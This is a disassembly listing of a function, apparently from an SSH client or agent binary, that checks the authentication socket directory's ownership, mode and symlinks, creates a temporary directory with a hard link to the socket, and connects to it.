0805ad2e  68 d5 32 07 08           push   $0x80732d5   ;[in .rodata] 1952543859 'x73 x74 x61 x74' "stat .
                                                        failed"
0805ad33  e8 b4 ef fe ff           call   08049cec <perror>
0805ad38  5f                       pop    %edi
0805ad39  e9 31 05 00 00           jmp    0805b26f <Unknown0227+0x6d7>   ;1329 'x31 x5 x0 x0' "1"
0805ad3e  89 f6                    mov    %esi,%esi
0805ad40  8b 9d 5c fe ff ff        mov    0xfffffe5c(%ebp),%ebx   ;-420 'x5c xfe xff xff' "\"
0805ad46  8b 8d 58 fe ff ff        mov    0xfffffe58(%ebp),%ecx   ;-424 'x58 xfe xff xff' "X"
0805ad4c  8b 85 b8 fe ff ff        mov    0xfffffeb8(%ebp),%eax   ;-328 'xb8 xfe xff xff' ""
0805ad52  8b 95 bc fe ff ff        mov    0xfffffebc(%ebp),%edx   ;-324 'xbc xfe xff xff' ""
0805ad58  89 de                    mov    %ebx,%esi
0805ad5a  31 d6                    xor    %edx,%esi
0805ad5c  31 c8                    xor    %ecx,%eax
0805ad5e  09 c6                    or     %eax,%esi
0805ad60  0f 85 5e 02 00 00        jne    0805afc4 <Unknown0227+0x42c>   ;606 'x5e x2 x0 x0' "^"
0805ad66  8b 85 c4 fe ff ff        mov    0xfffffec4(%ebp),%eax   ;-316 'xc4 xfe xff xff' ""
0805ad6c  39 85 64 fe ff ff        cmp    %eax,0xfffffe64(%ebp)   ;-412 'x64 xfe xff xff' "d"
0805ad72  0f 85 4c 02 00 00        jne    0805afc4 <Unknown0227+0x42c>   ;588 'x4c x2 x0 x0' "L"
0805ad78  8b 35 9c 7b 07 08        mov    0x8077b9c,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
0805ad7e  85 f6                    test   %esi,%esi
0805ad80  74 26                    je     0805ada8 <Unknown0227+0x210>
0805ad82  8b 47 08                 mov    0x8(%edi),%eax
0805ad85  39 85 70 fe ff ff        cmp    %eax,0xfffffe70(%ebp)   ;-400 'x70 xfe xff xff' "p"
0805ad8b  74 1b                    je     0805ada8 <Unknown0227+0x210>
0805ad8d  83 ec 08                 sub    $0x8,%esp
0805ad90  ff b5 30 fd ff ff        pushl  0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805ad96  68 00 33 07 08           push   $0x8073300   ;[in .rodata] 1635151433 'x49 x6e x76 x61' "Invalid
                                                        owner of authentication socket directory %.100s"
0805ad9b  e8 68 50 ff ff           call   0804fe08 <Unknown0040>
0805ada0  5b                       pop    %ebx
0805ada1  e9 c9 04 00 00           jmp    0805b26f <Unknown0227+0x6d7>   ;1225 'xc9 x4 x0 x0' ""
0805ada6  89 f6                    mov    %esi,%esi
0805ada8  f7 85 68 fe ff ff 3f 00 00 00  testl  $0x3f,0xfffffe68(%ebp)   ;63 'x3f x0 x0 x0' "?"
0805adb2  74 1c                    je     0805add0 <Unknown0227+0x238>
0805adb4  83 ec 08                 sub    $0x8,%esp
```

```
0805adb7  ff b5 30 fd ff ff      pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805adbd  68 40 33 07 08         push    $0x8073340  ;[in .rodata] 1635151433 'x49 x6e x76 x61' "Invalid
                                                         modes for authentication socket directory %.100s"
0805adc2  e8 41 50 ff ff         call    0804fe08 <Unknown0040>
0805adc7  59                     pop     %ecx
0805adc8  e9 a2 04 00 00         jmp     0805b26f <Unknown0227+0x6d7>  ;1186 'xa2 x4 x0 x0' ""
0805adcd  8d 76 00               lea     0x0(%esi),%esi
0805add0  52                     push    %edx
0805add1  8d 85 18 ff ff ff      lea     0xffffff18(%ebp),%eax  ;-232 'x18 xff xff xff' ""
0805add7  50                     push    %eax
0805add8  ff b5 34 fd ff ff      pushl   0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805adde  6a 03                  push    $0x3
0805ade0  e8 07 f3 fe ff         call    0804a0ec <__lxstat>
0805ade5  83 c4 10               add     $0x10,%esp
0805ade8  85 c0                  test    %eax,%eax
0805adea  74 20                  je      0805ae0c <Unknown0227+0x274>
0805adec  50                     push    %eax
0805aded  ff b5 34 fd ff ff      pushl   0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805adf3  ff b5 30 fd ff ff      pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805adf9  68 80 33 07 08         push    $0x8073380  ;[in .rodata] 1852727619 'x43 x61 x6e x6e' "Cannot find
                                                         authentication socket %.100s/%.100s"
0805adfe  e8 05 50 ff ff         call    0804fe08 <Unknown0040>
0805ae03  5f                     pop     %edi
0805ae04  e9 66 04 00 00         jmp     0805b26f <Unknown0227+0x6d7>  ;1126 'x66 x4 x0 x0' "f"
0805ae09  8d 76 00               lea     0x0(%esi),%esi
0805ae0c  8b 85 28 ff ff ff      mov     0xffffff28(%ebp),%eax  ;-216 'x28 xff xff xff' "("
0805ae12  25 00 f0 00 00         and     $0xf000,%eax  ;61440 'x0 xf0 x0 x0' ""
0805ae17  3d 00 a0 00 00         cmp     $0xa000,%eax  ;40960 'x0 xa0 x0 x0' ""
0805ae1c  75 26                  jne     0805ae44 <Unknown0227+0x2ac>
0805ae1e  e8 a9 f6 fe ff         call    0804a4cc <geteuid>
0805ae23  39 05 9c 7b 07 08      cmp     %eax,0x8077b9c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805ae29  74 19                  je      0805ae44 <Unknown0227+0x2ac>
0805ae2b  83 ec 08               sub     $0x8,%esp
0805ae2e  ff b5 28 fd ff ff      pushl   0xfffffd28(%ebp)  ;-728 'x28 xfd xff xff' "("
0805ae34  68 c0 33 07 08         push    $0x80733c0  ;[in .rodata] 1752462657 'x41 x75 x74 x68'
                                                         "Authentication socket `%.100s' is symlink"
0805ae39  e8 ca 4f ff ff         call    0804fe08 <Unknown0040>
0805ae3e  5e                     pop     %esi
0805ae3f  e9 2b 04 00 00         jmp     0805b26f <Unknown0227+0x6d7>  ;1067 'x2b x4 x0 x0' "+"
0805ae44  e8 83 f6 fe ff         call    0804a4cc <geteuid>
0805ae49  39 05 9c 7b 07 08      cmp     %eax,0x8077b9c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805ae4f  0f 84 37 03 00 00      je      0805b18c <Unknown0227+0x5f4>  ;823 'x37 x3 x0 x0' "7"
0805ae55  fc                     cld
0805ae56  8b bd 30 fd ff ff      mov     0xfffffd30(%ebp),%edi  ;-720 'x30 xfd xff xff' "0"
0805ae5c  31 c0                  xor     %eax,%eax
0805ae5e  b9 ff ff ff ff         mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805ae63  f2 ae                  repnz scas %es:(%edi),%al
0805ae65  f7 d1                  not     %ecx
0805ae67  83 ec 0c               sub     $0xc,%esp
0805ae6a  83 c1 13               add     $0x13,%ecx
0805ae6d  51                     push    %ecx
0805ae6e  e8 1d c0 ff ff         call    08056e90 <Unknown0170>
0805ae73  89 85 2c fd ff ff      mov     %eax,0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805ae79  e8 0e ee fe ff         call    08049c8c <getpid>
0805ae7e  89 04 24               mov     %eax,(%esp,1)
0805ae81  ff b5 30 fd ff ff      pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805ae87  68 ea 33 07 08         push    $0x80733ea  ;[in .rodata] 623735589 'x25 x73 x2d x25' "%s-%d"
0805ae8c  fc                     cld
0805ae8d  31 c0                  xor     %eax,%eax
0805ae8f  8b bd 30 fd ff ff      mov     0xfffffd30(%ebp),%edi  ;-720 'x30 xfd xff xff' "0"
0805ae95  b9 ff ff ff ff         mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805ae9a  f2 ae                  repnz scas %es:(%edi),%al
0805ae9c  f7 d1                  not     %ecx
0805ae9e  83 c1 13               add     $0x13,%ecx
0805aea1  51                     push    %ecx
0805aea2  ff b5 2c fd ff ff      pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805aea8  e8 2f f4 fe ff         call    0804a2dc <snprintf>
0805aead  83 c4 18               add     $0x18,%esp
0805aeb0  68 c0 01 00 00         push    $0x1c0  ;448 'xc0 x1 x0 x0' ""
0805aeb5  ff b5 2c fd ff ff      pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805aebb  e8 4c ed fe ff         call    08049c0c <mkdir>
0805aec0  83 c4 10               add     $0x10,%esp
0805aec3  85 c0                  test    %eax,%eax
0805aec5  74 2d                  je      0805aef4 <Unknown0227+0x35c>
0805aec7  83 ec 08               sub     $0x8,%esp
0805aeca  ff b5 2c fd ff ff      pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805aed0  68 00 34 07 08         push    $0x8073400  ;[in .rodata] 1852727619 'x43 x61 x6e x6e' "Cannot make
                                                         temporary authentication socket directory %.100s"
0805aed5  e8 2e 4f ff ff         call    0804fe08 <Unknown0040>
0805aeda  5b                     pop     %ebx
0805aedb  ff b5 30 fd ff ff      pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805aee1  e8 2a c0 ff ff         call    08056f10 <Unknown0172>
0805aee6  59                     pop     %ecx
0805aee7  ff b5 2c fd ff ff      pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
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0805aeed  e9 83 03 00 00        jmp     0805b275 <Unknown0227+0x6dd>  ;899 'x83 x3 x0 x0' ""
0805aef2  89 f6                 mov     %esi,%esi
0805aef4  52                    push    %edx
0805aef5  8d 85 b8 fe ff ff     lea     0xfffffeb8(%ebp),%eax   ;-328 'xb8 xfe xff xff' ""
0805aefb  50                    push    %eax
0805aefc  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)   ;-724 'x2c xfd xff xff' ","
0805af02  6a 03                 push    $0x3
0805af04  e8 e3 f1 fe ff        call    0804a0ec <__lxstat>
0805af09  83 c4 10              add     $0x10,%esp
0805af0c  85 c0                 test    %eax,%eax
0805af0e  74 2c                 je      0805af3c <Unknown0227+0x3a4>
0805af10  83 ec 08              sub     $0x8,%esp
0805af13  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)   ;-724 'x2c xfd xff xff' ","
0805af19  68 40 34 07 08        push    $0x8073440   ;[in .rodata] 1852727619 'x43 x61 x6e x6e' "Cannot stat
                                                        newly created temporary authentication socket directory
                                                        %.100s"
0805af1e  e8 e5 4e ff ff        call    0804fe08 <Unknown0040>
0805af23  5f                    pop     %edi
0805af24  ff b5 30 fd ff ff     pushl   0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805af2a  e8 e1 bf ff ff        call    08056f10 <Unknown0172>
0805af2f  5e                    pop     %esi
0805af30  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)   ;-724 'x2c xfd xff xff' ","
0805af36  e9 3a 03 00 00        jmp     0805b275 <Unknown0227+0x6dd>  ;826 'x3a x3 x0 x0' ":"
0805af3b  90                    nop
0805af3c  83 ec 0c              sub     $0xc,%esp
0805af3f  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)   ;-724 'x2c xfd xff xff' ","
0805af45  e8 72 f1 fe ff        call    0804a0bc <chdir>
0805af4a  83 c4 0c              add     $0xc,%esp
0805af4d  8d 85 58 fe ff ff     lea     0xfffffe58(%ebp),%eax   ;-424 'x58 xfe xff xff' "X"
0805af53  50                    push    %eax
0805af54  68 d3 32 07 08        push    $0x80732d3   ;[in .rodata] 1953693742 'x2e x0 x73 x74' "."
0805af59  6a 03                 push    $0x3
0805af5b  e8 cc f0 fe ff        call    0804a02c <__xstat>
0805af60  83 c4 10              add     $0x10,%esp
0805af63  85 c0                 test    %eax,%eax
0805af65  74 2d                 je      0805af94 <Unknown0227+0x3fc>
0805af67  83 ec 08              sub     $0x8,%esp
0805af6a  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)   ;-724 'x2c xfd xff xff' ","
0805af70  68 a0 34 07 08        push    $0x80734a0   ;[in .rodata] 1852727619 'x43 x61 x6e x6e' "Cannot stat
                                                        . in newly created temporary authentication socket
                                                        directory %.100s"
0805af75  e8 8e 4e ff ff        call    0804fe08 <Unknown0040>
0805af7a  5b                    pop     %ebx
0805af7b  ff b5 30 fd ff ff     pushl   0xfffffd30(%ebp)   ;-720 'x30 xfd xff xff' "0"
0805af81  e8 8a bf ff ff        call    08056f10 <Unknown0172>
0805af86  59                    pop     %ecx
0805af87  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)   ;-724 'x2c xfd xff xff' ","
0805af8d  e9 e3 02 00 00        jmp     0805b275 <Unknown0227+0x6dd>  ;739 'xe3 x2 x0 x0' ""
0805af92  89 f6                 mov     %esi,%esi
0805af94  8b 9d 5c fe ff ff     mov     0xfffffe5c(%ebp),%ebx   ;-420 'x5c xfe xff xff' "\"
0805af9a  8b 8d 58 fe ff ff     mov     0xfffffe58(%ebp),%ecx   ;-424 'x58 xfe xff xff' "X"
0805afa0  8b 85 b8 fe ff ff     mov     0xfffffeb8(%ebp),%eax   ;-328 'xb8 xfe xff xff' ""
0805afa6  8b 95 bc fe ff ff     mov     0xfffffebc(%ebp),%edx   ;-324 'xbc xfe xff xff' ""
0805afac  89 de                 mov     %ebx,%esi
0805afae  31 d6                 xor     %edx,%esi
0805afb0  31 c8                 xor     %ecx,%eax
0805afb2  09 c6                 or      %eax,%esi
0805afb4  75 0e                 jne     0805afc4 <Unknown0227+0x42c>
0805afb6  8b 85 c4 fe ff ff     mov     0xfffffec4(%ebp),%eax   ;-316 'xc4 xfe xff xff' ""
0805afbc  39 85 64 fe ff ff     cmp     %eax,0xfffffe64(%ebp)   ;-412 'x64 xfe xff xff' "d"
0805afc2  74 18                 je      0805afdc <Unknown0227+0x444>
0805afc4  83 ec 0c              sub     $0xc,%esp
0805afc7  68 e3 32 07 08        push    $0x80732e3   ;[in .rodata] 1852797527 'x57 x72 x6f x6e' "Wrong
                                                        directory after chdir"
0805afcc  e8 37 4e ff ff        call    0804fe08 <Unknown0040>
0805afd1  b8 ff ff ff ff        mov     $0xffffffff,%eax   ;-1 'xff xff xff xff' ""
0805afd6  e9 05 03 00 00        jmp     0805b2e0 <Unknown0227+0x748>  ;773 'x5 x3 x0 x0' ""
0805afdb  90                    nop
0805afdc  52                    push    %edx
0805afdd  8d 85 f8 fd ff ff     lea     0xfffffdf8(%ebp),%eax   ;-520 'xf8 xfd xff xff' ""
0805afe3  50                    push    %eax
0805afe4  68 f0 34 07 08        push    $0x80734f0   ;[in .rodata] 11822 'x2e x2e x0 x0' ".."
0805afe9  6a 03                 push    $0x3
0805afeb  e8 3c f0 fe ff        call    0804a02c <__xstat>
0805aff0  83 c4 10              add     $0x10,%esp
0805aff3  85 c0                 test    %eax,%eax
0805aff5  74 2d                 je      0805b024 <Unknown0227+0x48c>
0805aff7  83 ec 08              sub     $0x8,%esp
0805affa  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)   ;-724 'x2c xfd xff xff' ","
0805b000  68 00 35 07 08        push    $0x8073500   ;[in .rodata] 1852727619 'x43 x61 x6e x6e' "Cannot stat
                                                        .. in newly created temporary authentication socket
                                                        directory %.100s"
0805b005  e8 fe 4d ff ff        call    0804fe08 <Unknown0040>
0805b00a  5f                    pop     %edi
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0805b00b  ff b5 30 fd ff ff   pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805b011  e8 fa be ff ff      call    08056f10 <Unknown0172>
0805b016  5e                  pop     %esi
0805b017  ff b5 2c fd ff ff   pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805b01d  e9 53 02 00 00      jmp     0805b275 <Unknown0227+0x6dd>  ;595 'x53 x2 x0 x0' "S"
0805b022  89 f6               mov     %esi,%esi
0805b024  8b 85 08 fe ff ff   mov     0xfffffe08(%ebp),%eax  ;-504 'x8 xfe xff xff' ""
0805b02a  a9 00 02 00 00      test    $0x200,%eax  ;512 'x0 x2 x0 x0' ""
0805b02f  75 27               jne     0805b058 <Unknown0227+0x4c0>
0805b031  83 ec 08            sub     $0x8,%esp
0805b034  50                  push    %eax
0805b035  68 60 35 07 08      push    $0x8073560  ;[in .rodata] 1852139329 'x41 x67 x65 x6e' "Agent
                                             parent directory is not sticky, mode is %o it should be
                                             041777"
0805b03a  e8 c9 4d ff ff      call    0804fe08 <Unknown0040>
0805b03f  5b                  pop     %ebx
0805b040  ff b5 30 fd ff ff   pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805b046  e8 c5 be ff ff      call    08056f10 <Unknown0172>
0805b04b  59                  pop     %ecx
0805b04c  ff b5 2c fd ff ff   pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805b052  e9 1e 02 00 00      jmp     0805b275 <Unknown0227+0x6dd>  ;542 'x1e x2 x0 x0' ""
0805b057  90                  nop
0805b058  8b 9d fc fd ff ff   mov     0xfffffdfc(%ebp),%ebx  ;-516 'xfc xfd xff xff' ""
0805b05e  8b 8d f8 fd ff ff   mov     0xfffffdf8(%ebp),%ecx  ;-520 'xf8 xfd xff xff' ""
0805b064  8b 85 98 fd ff ff   mov     0xfffffd98(%ebp),%eax  ;-616 'x98 xfd xff xff' ""
0805b06a  8b 95 9c fd ff ff   mov     0xfffffd9c(%ebp),%edx  ;-612 'x9c xfd xff xff' ""
0805b070  89 de               mov     %ebx,%esi
0805b072  31 d6               xor     %edx,%esi
0805b074  31 c8               xor     %ecx,%eax
0805b076  09 c6               or      %eax,%esi
0805b078  75 0e               jne     0805b088 <Unknown0227+0x4f0>
0805b07a  8b 85 a4 fd ff ff   mov     0xfffffda4(%ebp),%eax  ;-604 'xa4 xfd xff xff' ""
0805b080  39 85 04 fe ff ff   cmp     %eax,0xfffffe04(%ebp)  ;-508 'x4 xfe xff xff' ""
0805b086  74 28               je      0805b0b0 <Unknown0227+0x518>
0805b088  83 ec 0c            sub     $0xc,%esp
0805b08b  68 c0 35 07 08      push    $0x80735c0  ;[in .rodata] 1852797527 'x57 x72 x6f x6e' "Wrong
                                             parent directory after chdir to temp directory"
0805b090  e8 73 4d ff ff      call    0804fe08 <Unknown0040>
0805b095  5a                  pop     %edx
0805b096  ff b5 30 fd ff ff   pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805b09c  e8 6f be ff ff      call    08056f10 <Unknown0172>
0805b0a1  58                  pop     %eax
0805b0a2  ff b5 2c fd ff ff   pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805b0a8  e9 c8 01 00 00      jmp     0805b275 <Unknown0227+0x6dd>  ;456 'xc8 x1 x0 x0' ""
0805b0ad  8d 76 00            lea     0x0(%esi),%esi
0805b0b0  83 ec 08            sub     $0x8,%esp
0805b0b3  ff b5 34 fd ff ff   pushl   0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805b0b9  ff b5 28 fd ff ff   pushl   0xfffffd28(%ebp)  ;-728 'x28 xfd xff xff' "("
0805b0bf  e8 e8 ee fe ff      call    08049fac <link>
0805b0c4  83 c4 10            add     $0x10,%esp
0805b0c7  85 c0               test    %eax,%eax
0805b0c9  74 25               je      0805b0f0 <Unknown0227+0x558>
0805b0cb  83 ec 0c            sub     $0xc,%esp
0805b0ce  68 00 36 07 08      push    $0x8073600  ;[in .rodata] 1685217608 'x48 x61 x72 x64' "Hard link
                                             to auth socket failed"
0805b0d3  e8 30 4d ff ff      call    0804fe08 <Unknown0040>
0805b0d8  5f                  pop     %edi
0805b0d9  ff b5 30 fd ff ff   pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805b0df  e8 2c be ff ff      call    08056f10 <Unknown0172>
0805b0e4  5e                  pop     %esi
0805b0e5  ff b5 2c fd ff ff   pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805b0eb  e9 85 01 00 00      jmp     0805b275 <Unknown0227+0x6dd>  ;389 'x85 x1 x0 x0' ""
0805b0f0  53                  push    %ebx
0805b0f1  8d 85 38 fd ff ff   lea     0xfffffd38(%ebp),%eax  ;-712 'x38 xfd xff xff' "8"
0805b0f7  50                  push    %eax
0805b0f8  ff b5 34 fd ff ff   pushl   0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805b0fe  6a 03               push    $0x3
0805b100  e8 27 ef fe ff      call    0804a02c <__xstat>
0805b105  83 c4 10            add     $0x10,%esp
0805b108  85 c0               test    %eax,%eax
0805b10a  74 28               je      0805b134 <Unknown0227+0x59c>
0805b10c  83 ec 0c            sub     $0xc,%esp
0805b10f  68 20 36 07 08      push    $0x8073620  ;[in .rodata] 1952543827 'x53 x74 x61 x74' "Stat to
                                             hard link of authentication socket failed"
0805b114  e8 ef 4c ff ff      call    0804fe08 <Unknown0040>
0805b119  59                  pop     %ecx
0805b11a  ff b5 30 fd ff ff   pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805b120  e8 eb bd ff ff      call    08056f10 <Unknown0172>
0805b125  5a                  pop     %edx
0805b126  ff b5 2c fd ff ff   pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805b12c  e9 44 01 00 00      jmp     0805b275 <Unknown0227+0x6dd>  ;324 'x44 x1 x0 x0' "D"
0805b131  8d 76 00            lea     0x0(%esi),%esi
0805b134  8b 9d 3c fd ff ff   mov     0xfffffd3c(%ebp),%ebx  ;-708 'x3c xfd xff xff' "<"
0805b13a  8b 8d 38 fd ff ff   mov     0xfffffd38(%ebp),%ecx  ;-712 'x38 xfd xff xff' "8"
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0805b140   8b 85 18 ff ff ff     mov     0xffffff18(%ebp),%eax    ;-232 'x18 xff xff xff' ""
0805b146   8b 95 1c ff ff ff     mov     0xffffff1c(%ebp),%edx    ;-228 'x1c xff xff xff' ""
0805b14c   89 de                 mov     %ebx,%esi
0805b14e   31 d6                 xor     %edx,%esi
0805b150   31 c8                 xor     %ecx,%eax
0805b152   09 c6                 or      %eax,%esi
0805b154   75 0e                 jne     0805b164 <Unknown0227+0x5cc>
0805b156   8b 85 24 ff ff ff     mov     0xffffff24(%ebp),%eax    ;-220 'x24 xff xff xff' "$"
0805b15c   39 85 44 fd ff ff     cmp     %eax,0xfffffd44(%ebp)    ;-700 'x44 xfd xff xff' "D"
0805b162   74 28                 je      0805b18c <Unknown0227+0x5f4>
0805b164   83 ec 0c             sub     $0xc,%esp
0805b167   68 60 36 07 08        push    $0x8073660   ;[in .rodata] 1685217608 'x48 x61 x72 x64' "Hard link
                                                      and orignal socket are not same"
0805b16c   e8 97 4c ff ff        call    0804fe08 <Unknown0040>
0805b171   58                    pop     %eax
0805b172   ff b5 30 fd ff ff     pushl   0xfffffd30(%ebp)    ;-720 'x30 xfd xff xff' "0"
0805b178   e8 93 bd ff ff        call    08056f10 <Unknown0172>
0805b17d   5f                    pop     %edi
0805b17e   ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)    ;-724 'x2c xfd xff xff' ","
0805b184   e9 ec 00 00 00        jmp     0805b275 <Unknown0227+0x6dd>  ;236 'xec x0 x0 x0' ""
0805b189   8d 76 00             lea     0x0(%esi),%esi
0805b18c   56                    push    %esi
0805b18d   6a 6c                 push    $0x6c
0805b18f   ff b5 34 fd ff ff     pushl   0xfffffd34(%ebp)    ;-716 'x34 xfd xff xff' "4"
0805b195   8d 85 7a ff ff ff     lea     0xffffff7a(%ebp),%eax    ;-134 'x7a xff xff xff' "z"
0805b19b   50                    push    %eax
0805b19c   66 c7 85 78 ff ff ff 01 00  movw  $0x1,0xffffff78(%ebp)    ;-136 'x78 xff xff xff' "x"
0805b1a5   e8 22 f2 fe ff        call    0804a3cc <strncpy>
0805b1aa   83 c4 0c             add     $0xc,%esp
0805b1ad   6a 00                 push    $0x0
0805b1af   6a 01                 push    $0x1
0805b1b1   6a 01                 push    $0x1
0805b1b3   e8 b4 f2 fe ff        call    0804a46c <socket>
0805b1b8   89 c6                 mov     %eax,%esi
0805b1ba   83 c4 10             add     $0x10,%esp
0805b1bd   85 f6                 test    %esi,%esi
0805b1bf   8d bd 78 ff ff ff     lea     0xffffff78(%ebp),%edi    ;-136 'x78 xff xff xff' "x"
0805b1c5   79 49                 jns     0805b210 <Unknown0227+0x678>
0805b1c7   83 ec 0c             sub     $0xc,%esp
0805b1ca   68 8a 36 07 08        push    $0x807368a   ;[in .rodata] 1801678675 'x53 x6f x63 x6b' "Socket
                                                      failed"
0805b1cf   e8 34 4c ff ff        call    0804fe08 <Unknown0040>
0805b1d4   8b 9d 2c fd ff ff     mov     0xfffffd2c(%ebp),%ebx    ;-724 'x2c xfd xff xff' ","
0805b1da   83 c4 10             add     $0x10,%esp
0805b1dd   85 db                 test    %ebx,%ebx
0805b1df   0f 84 87 00 00 00     je      0805b26c <Unknown0227+0x6d4>  ;135 'x87 x0 x0 x0' ""
0805b1e5   83 ec 0c             sub     $0xc,%esp
0805b1e8   ff b5 34 fd ff ff     pushl   0xfffffd34(%ebp)    ;-716 'x34 xfd xff xff' "4"
0805b1ee   e8 79 eb fe ff        call    08049d6c <unlink>
0805b1f3   c7 04 24 98 36 07 08  movl    $0x8073698,(%esp,1)   ;[in .rodata] 47 'x2f x0 x0 x0' "/"
0805b1fa   e8 bd ee fe ff        call    0804a0bc <chdir>
0805b1ff   59                    pop     %ecx
0805b200   ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)    ;-724 'x2c xfd xff xff' ","
0805b206   e8 91 f0 fe ff        call    0804a29c <rmdir>
0805b20b   5a                    pop     %edx
0805b20c   eb 50                 jmp     0805b25e <Unknown0227+0x6c6>
0805b20e   89 f6                 mov     %esi,%esi
0805b210   50                    push    %eax
0805b211   6a 6e                 push    $0x6e
0805b213   57                    push    %edi
0805b214   56                    push    %esi
0805b215   e8 a2 f1 fe ff        call    0804a3bc <connect>
0805b21a   83 c4 10             add     $0x10,%esp
0805b21d   85 c0                 test    %eax,%eax
0805b21f   79 63                 jns     0805b284 <Unknown0227+0x6ec>
0805b221   83 ec 0c             sub     $0xc,%esp
0805b224   56                    push    %esi
0805b225   e8 b2 ea fe ff        call    08049cdc <close>
0805b22a   8b bd 2c fd ff ff     mov     0xfffffd2c(%ebp),%edi    ;-724 'x2c xfd xff xff' ","
0805b230   83 c4 10             add     $0x10,%esp
0805b233   85 ff                 test    %edi,%edi
0805b235   74 35                 je      0805b26c <Unknown0227+0x6d4>
0805b237   83 ec 0c             sub     $0xc,%esp
0805b23a   ff b5 34 fd ff ff     pushl   0xfffffd34(%ebp)    ;-716 'x34 xfd xff xff' "4"
0805b240   e8 27 eb fe ff        call    08049d6c <unlink>
0805b245   c7 04 24 98 36 07 08  movl    $0x8073698,(%esp,1)   ;[in .rodata] 47 'x2f x0 x0 x0' "/"
0805b24c   e8 6b ee fe ff        call    0804a0bc <chdir>
0805b251   5e                    pop     %esi
0805b252   ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)    ;-724 'x2c xfd xff xff' ","
0805b258   e8 3f f0 fe ff        call    0804a29c <rmdir>
0805b25d   5b                    pop     %ebx
0805b25e   ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)    ;-724 'x2c xfd xff xff' ","
0805b264   e8 a7 bc ff ff        call    08056f10 <Unknown0172>
0805b269   83 c4 10             add     $0x10,%esp
```

```
0805b26c  83 ec 0c              sub     $0xc,%esp
0805b26f  ff b5 30 fd ff ff     pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805b275  e8 96 bc ff ff        call    08056f10 <Unknown0172>
0805b27a  b8 ff ff ff ff        mov     $0xffffffff,%eax  ;-1 'xff xff xff xff' ""
0805b27f  eb 5f                 jmp     0805b2e0 <Unknown0227+0x748>
0805b281  8d 76 00              lea     0x0(%esi),%esi
0805b284  8b 8d 2c fd ff ff     mov     0xfffffd2c(%ebp),%ecx  ;-724 'x2c xfd xff xff' ","
0805b28a  85 c9                 test    %ecx,%ecx
0805b28c  74 35                 je      0805b2c3 <Unknown0227+0x72b>
0805b28e  83 ec 0c              sub     $0xc,%esp
0805b291  ff b5 34 fd ff ff     pushl   0xfffffd34(%ebp)  ;-716 'x34 xfd xff xff' "4"
0805b297  e8 d0 ea fe ff        call    08049d6c <unlink>
0805b29c  c7 04 24 98 36 07 08  movl    $0x8073698,(%esp,1)  ;[in .rodata] 47 'x2f x0 x0 x0' "/"
0805b2a3  e8 14 ee fe ff        call    0804a0bc <chdir>
0805b2a8  5a                    pop     %edx
0805b2a9  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805b2af  e8 e8 ef fe ff        call    0804a29c <rmdir>
0805b2b4  58                    pop     %eax
0805b2b5  ff b5 2c fd ff ff     pushl   0xfffffd2c(%ebp)  ;-724 'x2c xfd xff xff' ","
0805b2bb  e8 50 bc ff ff        call    08056f10 <Unknown0172>
0805b2c0  83 c4 10              add     $0x10,%esp
0805b2c3  83 ec 0c              sub     $0xc,%esp
0805b2c6  ff b5 30 fd ff ff     pushl   0xfffffd30(%ebp)  ;-720 'x30 xfd xff xff' "0"
0805b2cc  e8 3f bc ff ff        call    08056f10 <Unknown0172>
0805b2d1  83 c4 0c              add     $0xc,%esp
0805b2d4  6a 00                 push    $0x0
0805b2d6  6a 04                 push    $0x4
0805b2d8  56                    push    %esi
0805b2d9  e8 4e ef fe ff        call    0804a22c <fcntl>
0805b2de  89 f0                 mov     %esi,%eax
0805b2e0  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805b2e3  5b                    pop     %ebx
0805b2e4  5e                    pop     %esi
0805b2e5  5f                    pop     %edi
0805b2e6  5d                    pop     %ebp
0805b2e7  c3                    ret


  ;
